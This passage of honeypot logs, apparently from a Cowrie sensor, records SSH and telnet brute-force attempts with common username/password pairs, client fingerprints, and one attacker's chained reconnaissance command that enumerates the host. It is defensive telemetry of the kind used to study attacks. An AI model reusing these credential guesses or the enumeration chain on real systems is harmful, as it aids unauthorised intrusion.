com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:12.943368Z","src_ip":"87.106.65.126","session":"047c78d75c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:13.299254Z","src_ip":"87.106.65.126","session":"047c78d75c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.382731Z","src_ip":"87.106.65.126","session":"047c78d75c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.65.126","src_port":18240,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce9f7b4beaa","protocol":"ssh","message":"New connection: 87.106.65.126:18240 (159.203.135.109:22) [session: 8ce9f7b4beaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.458303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.463149Z","src_ip":"87.106.65.126","session":"8ce9f7b4beaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.544800Z","src_ip":"87.106.65.126","session":"8ce9f7b4beaa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.898952Z","src_ip":"87.106.65.126","session":"8ce9f7b4beaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.980901Z","src_ip":"87.106.65.126","session":"2630cce095fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:14.986098Z","src_ip":"87.106.65.126","session":"8ce9f7b4beaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49922,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cfad3d6f750","protocol":"ssh","message":"New connection: 2.57.122.210:49922 (10.17.0.5:22) [session: 9cfad3d6f750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:15.852354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:15.856700Z","src_ip":"2.57.122.210","session":"9cfad3d6f750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:15.972938Z","src_ip":"2.57.122.210","session":"9cfad3d6f750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stake","password":"stake","message":"login attempt [stake/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:16.305492Z","src_ip":"2.57.122.210","session":"9cfad3d6f750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:17.412007Z","src_ip":"2.57.122.210","session":"9cfad3d6f750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36054,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7a77d2a4fa6","protocol":"ssh","message":"New connection: 92.118.39.92:36054 (10.17.0.5:22) [session: d7a77d2a4fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:28.249567Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:13:28.363919Z","src_ip":"92.118.39.92","session":"d7a77d2a4fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":55584,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e25e40f4e27","protocol":"ssh","message":"New connection: 103.82.27.19:55584 (10.17.0.5:22) [session: 6e25e40f4e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:37.890826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:37.895314Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:38.163032Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty12345","message":"login attempt [root/qwerty12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:38.970792Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:39.540292Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:39.543798Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:39.853397Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:14:39.858172Z","src_ip":"103.82.27.19","session":"6e25e40f4e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":52642,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cad3e697d1d","protocol":"ssh","message":"New connection: 2.57.122.210:52642 (10.17.0.5:22) [session: 6cad3e697d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:15:28.038424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:15:28.043232Z","src_ip":"2.57.122.210","session":"6cad3e697d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:15:28.145204Z","src_ip":"2.57.122.210","session":"6cad3e697d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:15:28.449314Z","src_ip":"2.57.122.210","session":"6cad3e697d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:15:29.553145Z","src_ip":"2.57.122.210","session":"6cad3e697d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.232.241.136","src_port":4766,"dst_ip":"10.17.0.5","dst_port":23,"session":"702d6e1218a7","protocol":"telnet","message":"New connection: 211.232.241.136:4766 (10.17.0.5:23) [session: 702d6e1218a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:54.115882Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48712,"dst_ip":"10.17.0.5","dst_port":22,"session":"37f0483587e8","protocol":"ssh","message":"New connection: 92.118.39.92:48712 (10.17.0.5:22) [session: 37f0483587e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:54.487243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:54.491582Z","src_ip":"92.118.39.92","session":"37f0483587e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:54.627747Z","src_ip":"92.118.39.92","session":"37f0483587e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:55.014560Z","src_ip":"92.118.39.92","session":"37f0483587e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:16:56.167152Z","src_ip":"92.118.39.92","session":"37f0483587e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.962536811828613,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:08.078285Z","src_ip":"211.232.241.136","session":"702d6e1218a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":55368,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc34c7c53e92","protocol":"ssh","message":"New connection: 2.57.122.210:55368 (10.17.0.5:22) [session: fc34c7c53e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:36.573949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:36.579036Z","src_ip":"2.57.122.210","session":"fc34c7c53e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:36.721046Z","src_ip":"2.57.122.210","session":"fc34c7c53e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ubuntu","message":"login attempt [sol/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:37.046713Z","src_ip":"2.57.122.210","session":"fc34c7c53e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:17:38.182081Z","src_ip":"2.57.122.210","session":"fc34c7c53e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37112,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ccd1ee3ea2","protocol":"ssh","message":"New connection: 92.118.39.92:37112 (10.17.0.5:22) [session: 29ccd1ee3ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:10.390437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:10.395455Z","src_ip":"92.118.39.92","session":"29ccd1ee3ea2","protocol":"ssh"}
